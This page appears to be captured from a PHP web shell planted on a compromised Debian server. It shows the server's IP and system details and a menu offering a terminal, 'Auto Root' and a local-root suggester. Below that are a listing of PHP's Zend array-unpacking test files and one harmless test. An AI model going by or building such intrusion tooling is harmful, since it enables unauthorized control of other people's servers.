Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
Zend /
tests /
array_unpack /
Delete
Unzip
Name
Size
Permission
Date
Action
already_occupied.phpt
884
B
-rw-rw-r--
2022-10-31 11:36
basic.phpt
1.23
KB
-rw-rw-r--
2022-10-31 11:36
classes.phpt
623
B
-rw-rw-r--
2022-10-31 11:36
in_destructuring.phpt
212
B
-rw-rw-r--
2022-10-31 11:36
non_integer_keys.phpt
294
B
-rw-rw-r--
2022-10-31 11:36
ref1.phpt
273
B
-rw-rw-r--
2022-10-31 11:36
string_keys.phpt
451
B
-rw-rw-r--
2022-10-31 11:36
undef_var.phpt
281
B
-rw-rw-r--
2022-10-31 11:36
unpack_invalid_type_compile_time.phpt
192
B
-rw-rw-r--
2022-10-31 11:36
unpack_string_keys_compile_time.phpt
187
B
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- array unpacking with string keys (not supported) --FILE-- <?php try { $array = [1, 2, "foo" => 3, 4]; var_dump([...$array]); } catch (Error $ex) { var_dump($ex->getMessage()); } try { $iterator = new ArrayIterator([1, 2, "foo" => 3, 4]); var_dump([...$iterator]); } catch (Error $ex) { var_dump($ex->getMessage()); } --EXPECT-- string(36) "Cannot unpack array with string keys" string(42) "Cannot unpack Traversable with string keys"